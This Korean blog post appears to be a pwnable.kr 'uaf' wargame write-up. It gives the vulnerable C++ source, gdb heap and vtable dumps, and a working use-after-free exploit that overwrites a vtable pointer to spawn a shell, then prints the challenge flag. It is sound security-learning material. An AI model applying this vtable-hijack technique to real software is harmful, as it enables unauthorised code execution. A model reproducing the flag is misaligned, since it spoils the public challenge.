1. intro
걍 잘까 하다가 잠시 짬내서 한다는게 1시간이 훅 날아갔다 ㅋ
2. code 및 분석
2.1. code
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
2.2. 분석
2.2.1 main
Man과 Woman class를 선언해주고, 메뉴를 입력 받는다.
1번 메뉴에서는 introduce() 함수를 m class와 함께 실행한 뒤, 마찬가지로 w class도 실행해준다.
2번 메뉴에서는 argv[1]을 len에 넣고, 해당 크기만큼 char 변수를 선언해준 다음 argv[2]의 파일을 열고, 읽는다.
3번 메뉴에서는 m과 w class를 삭제한다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
위치만 적당하다면, 읽어온 파일의 내용이 담긴 위치와 class의 위치를 일치시킬 수 있으며, 이를 통해 의도되지 않은 동작을 할 수 있다.
3.2. 공격 준비
우선 기본적으로 할당되는 Jack과 Jill의 위치와 데이터를 확인해봤더니 아래와 같았다.
0x9bec10: 0x0000000000000000 0x0000000000000031
0x9bec20: 0x0000000000000004 0x0000000000000004
0x9bec30: 0x0000000000000000 0x000000006b63614a <- Jack
0x9bec40: 0x0000000000000000 0x0000000000000021
0x9bec50: 0x0000000000401570 0x0000000000000019 <- 어떤 주소 / 나이
0x9bec60: 0x00000000009bec38 0x0000000000000031 <- Jack의 위치
0x9bec70: 0x0000000000000004 0x0000000000000004
0x9bec80: 0x0000000000000000 0x000000006c6c694a <- Jill
0x9bec90: 0x0000000000000000 0x0000000000000021
0x9beca0: 0x0000000000401550 0x0000000000000015 <- 어떤 주소 / 나이
0x9becb0: 0x00000000009bec88 0x0000000000000411 <- Jill의 위치
0x9becc0: 0x0a65657266202e33 0x000000000000000a
여기서 저 Jack의 "어떤 주소" 가 어딘지 확인해보았더니 아래와 같았다.
0x401540 <_ZTV5Woman>: 0x0000000000000000 0x00000000004015b0
0x401550 <_ZTV5Woman+16>: 0x000000000040117a 0x0000000000401376
0x401560 <_ZTV3Man>: 0x0000000000000000 0x00000000004015d0
0x401570 <_ZTV3Man+16>: 0x000000000040117a 0x00000000004012d2
0x401580 <_ZTV5Human>: 0x0000000000000000 0x00000000004015f0
0x401590 <_ZTV5Human+16>: 0x000000000040117a 0x0000000000401192
0x4015a0 <_ZTS5Woman>: 0x00006e616d6f5735 0x0000000000000000
0x4015b0 <_ZTI5Woman>: 0x0000000000602390 0x00000000004015a0
0x4015c0 <_ZTI5Woman+16>: 0x00000000004015f0 0x000000006e614d33
0x4015d0 <_ZTI3Man>: 0x0000000000602390 0x00000000004015c8
0x4015e0 <_ZTI3Man+16>: 0x00000000004015f0 0x00006e616d754835
0x4015f0 <_ZTI5Human>: 0x0000000000602210 0x00000000004015e8
여기서 직접적인 해당 주소인 0x40117a의 경우 get shell 함수의 주소이고, 그 다음에 위치한
0x401192 및 0x401372 이 각각의 introduce 함수의 주소임을 확인할 수 있었다.
gdb-peda$ x/i 0x0000000000401192
0x401192 <_ZN5Human9introduceEv>: push %rbp
gdb-peda$ x/i 0x0000000000401376
0x401376 <_ZN5Woman9introduceEv>: push %rbp
이는 heap에서 call 할때 최초 주소를 참조한 뒤 offset으로 introduce 함수를 call 함을 추측할 수 있다.
그러므로 해당 주소를 get shell 함수가 실행될 수 있도록 -8 위치로 수정하면 될 것이다.
이제 몇번 할당해야 해당 위치에 도달하는지 확인해야하는데, 임의 파일을 하나 생성해서 몇 번 시도하며 확인해봤다.
gdb-peda$ r 8 /tmp/wyv3rn/flag #flag 파일에는 aaaaaaaaaaaaaa 문자열을 넣어둠.
...
#free 후 한번 after 메뉴를 사용했더니
...
gdb-peda$ x/40gx 0x1eccc38-8-0x10
0x1eccc20: 0x0000000000000000 0x0000000000000004
0x1eccc30: 0x00000000ffffffff 0x000000006b63614a
0x1eccc40: 0x0000000000000000 0x0000000000000021
0x1eccc50: 0x0000000000000000 0x0000000000000019
0x1eccc60: 0x0000000001eccc38 0x0000000000000031
0x1eccc70: 0x0000000001eccc10 0x0000000000000004
0x1eccc80: 0x00000000ffffffff 0x000000006c6c694a
0x1eccc90: 0x0000000000000000 0x0000000000000021
0x1eccca0: 0x6161616161616161 0x0000000000000015 <- Jill의 "어떤 주소"에 삽입됐다.
0x1ecccb0: 0x0000000001eccc88 0x0000000000000411
0x1ecccc0: 0x7461642072756f79 0x6c6c612073692061
0x1ecccd0: 0x0a0a64657461636f 0x0000000000000000
코드 상 m -> introduce() 가 먼저 실행되니 Jack의 "어떤 주소" 에 값을 삽입해야 할 것이다.
그래 한번 더 2번 메뉴를 실행해보았더니 해당 위치에 값이 삽입되었다.
gdb-peda$ x/40gx 0x13cdc38-8-0x40
0x13cdbf0: 0x0000000000000000 0x0000000000000000
0x13cdc00: 0x0000000000000000 0x0000000000000000
0x13cdc10: 0x0000000000000000 0x0000000000000031
0x13cdc20: 0x0000000000000000 0x0000000000000004
0x13cdc30: 0x00000000ffffffff 0x000000006b63614a
0x13cdc40: 0x0000000000000000 0x0000000000000021
0x13cdc50: 0x6161616161616161 0x0000000000000019
0x13cdc60: 0x00000000013cdc38 0x0000000000000031
0x13cdc70: 0x00000000013cdc10 0x0000000000000004
0x13cdc80: 0x00000000ffffffff 0x000000006c6c694a
0x13cdc90: 0x0000000000000000 0x0000000000000021
0x13cdca0: 0x6161616161616161 0x0000000000000015
0x13cdcb0: 0x00000000013cdc88 0x0000000000000411
0x13cdcc0: 0x7461642072756f79 0x6c6c612073692061
0x13cdcd0: 0x0a0a64657461636f 0x0000000000000000
잘 삽입된 것을 볼 수 있었다.
4. exploit
flag 파일을 만들어서 주소를 넣긴 넣었는데 자꾸 마지막 a 값이 같이 들어가버리기에 그냥 3바이트만 읽어오게 했다;;
uaf@pwnable:~$ echo `perl -e 'print "\x48\x15\x40"'` > /tmp/wyv3rn/flag
uaf@pwnable:~$ ./uaf 3 /tmp/wyv3rn/flag
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag
yay_f1ag_aft3r_pwning
'Wargame > pwnable.kr' 카테고리의 다른 글
cmd2 (0) | 2023.01.25 |
---|---|
cmd1 (0) | 2023.01.25 |
lotto (0) | 2023.01.25 |
blackjack (0) | 2023.01.25 |
flag (0) | 2023.01.25 |